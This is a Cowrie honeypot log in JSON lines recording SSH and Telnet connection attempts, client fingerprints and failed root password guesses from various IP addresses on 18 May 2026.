{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":34584,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9f0d48dadd7","protocol":"ssh","message":"New connection: 43.153.54.120:34584 (10.17.0.5:22) [session: b9f0d48dadd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:19.193636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:19.198990Z","src_ip":"43.153.54.120","session":"b9f0d48dadd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:19.266611Z","src_ip":"43.153.54.120","session":"b9f0d48dadd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123123","message":"login attempt [root/123123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:19.568763Z","src_ip":"43.153.54.120","session":"b9f0d48dadd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:20.638293Z","src_ip":"43.153.54.120","session":"b9f0d48dadd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.119.118","src_port":58540,"dst_ip":"10.17.0.5","dst_port":22,"session":"feaff45d8d70","protocol":"ssh","message":"New connection: 170.106.119.118:58540 (10.17.0.5:22) [session: feaff45d8d70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:24.905629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:24.913983Z","src_ip":"170.106.119.118","session":"feaff45d8d70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:24.983504Z","src_ip":"170.106.119.118","session":"feaff45d8d70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1422","message":"login attempt [root/1422] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:25.290923Z","src_ip":"170.106.119.118","session":"feaff45d8d70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.35.21","src_port":38126,"dst_ip":"10.17.0.5","dst_port":22,"session":"aebf3c221856","protocol":"ssh","message":"New connection: 43.159.35.21:38126 (10.17.0.5:22) [session: aebf3c221856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:25.718901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:25.722342Z","src_ip":"43.159.35.21","session":"aebf3c221856","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:25.960281Z","src_ip":"43.159.35.21","session":"aebf3c221856","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:26.362288Z","src_ip":"170.106.119.118","session":"feaff45d8d70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123123","message":"login attempt [root/123123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:26.941940Z","src_ip":"43.159.35.21","session":"aebf3c221856","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:28.181864Z","src_ip":"43.159.35.21","session":"aebf3c221856","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50360,"dst_ip":"10.17.0.5","dst_port":23,"session":"43adf28988fb","protocol":"telnet","message":"New connection: 152.42.224.71:50360 (10.17.0.5:23) [session: 43adf28988fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:29.340644Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50366,"dst_ip":"10.17.0.5","dst_port":23,"session":"139598e990b3","protocol":"telnet","message":"New connection: 152.42.224.71:50366 (10.17.0.5:23) [session: 139598e990b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:32.400574Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.132.141.112","src_port":41720,"dst_ip":"10.17.0.5","dst_port":22,"session":"710892bd16c5","protocol":"ssh","message":"New connection: 79.132.141.112:41720 (10.17.0.5:22) [session: 710892bd16c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:40.758066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:40.762365Z","src_ip":"79.132.141.112","session":"710892bd16c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:40.849532Z","src_ip":"79.132.141.112","session":"710892bd16c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xxx","message":"login attempt [root/xxx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:41.233596Z","src_ip":"79.132.141.112","session":"710892bd16c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:42.324559Z","src_ip":"79.132.141.112","session":"710892bd16c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.193.106.227","src_port":49774,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac0a91239495","protocol":"ssh","message":"New connection: 62.193.106.227:49774 (10.17.0.5:22) [session: ac0a91239495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:46.156121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:46.160699Z","src_ip":"62.193.106.227","session":"ac0a91239495","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:46.304294Z","src_ip":"62.193.106.227","session":"ac0a91239495","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Demo1234","message":"login attempt [root/Demo1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:46.909723Z","src_ip":"62.193.106.227","session":"ac0a91239495","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:48.057430Z","src_ip":"62.193.106.227","session":"ac0a91239495","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.13.181","src_port":41546,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e57e641377b","protocol":"ssh","message":"New connection: 154.83.13.181:41546 (159.203.135.109:22) [session: 1e57e641377b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:53.220627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:53.224822Z","src_ip":"154.83.13.181","session":"1e57e641377b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:54.193412Z","src_ip":"154.83.13.181","session":"1e57e641377b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789AA","message":"login attempt [root/123456789AA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:54.815748Z","src_ip":"154.83.13.181","session":"1e57e641377b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.454598903656006,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:55.956791Z","src_ip":"152.42.224.71","session":"6a973c0a124c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:56.026158Z","src_ip":"154.83.13.181","session":"1e57e641377b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42286,"dst_ip":"10.17.0.5","dst_port":23,"session":"a789135a6eaa","protocol":"telnet","message":"New connection: 152.42.224.71:42286 (10.17.0.5:23) [session: a789135a6eaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:07.427078Z"}
{"eventid":"cowrie.session.closed","duration":35.66433262825012,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:08.064779Z","src_ip":"152.42.224.71","session":"139598e990b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.65923285484314,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:08.999740Z","src_ip":"152.42.224.71","session":"43adf28988fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":63658,"dst_ip":"10.17.0.5","dst_port":22,"session":"86d15fcd04ba","protocol":"ssh","message":"New connection: 38.93.206.2:63658 (10.17.0.5:22) [session: 86d15fcd04ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:14.102936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:14.107210Z","src_ip":"38.93.206.2","session":"86d15fcd04ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:14.166610Z","src_ip":"38.93.206.2","session":"86d15fcd04ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"369258","message":"login attempt [root/369258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:14.331324Z","src_ip":"38.93.206.2","session":"86d15fcd04ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:15.383369Z","src_ip":"38.93.206.2","session":"86d15fcd04ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00349354743958,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:17.582458Z","src_ip":"152.42.224.71","session":"b281539c71ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":51166,"dst_ip":"159.203.135.109","dst_port":22,"session":"8892340434b9","protocol":"ssh","message":"New connection: 45.148.10.121:51166 (159.203.135.109:22) [session: 8892340434b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:21.926450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:21.931821Z","src_ip":"45.148.10.121","session":"8892340434b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:22.017669Z","src_ip":"45.148.10.121","session":"8892340434b9","protocol":"ssh"}
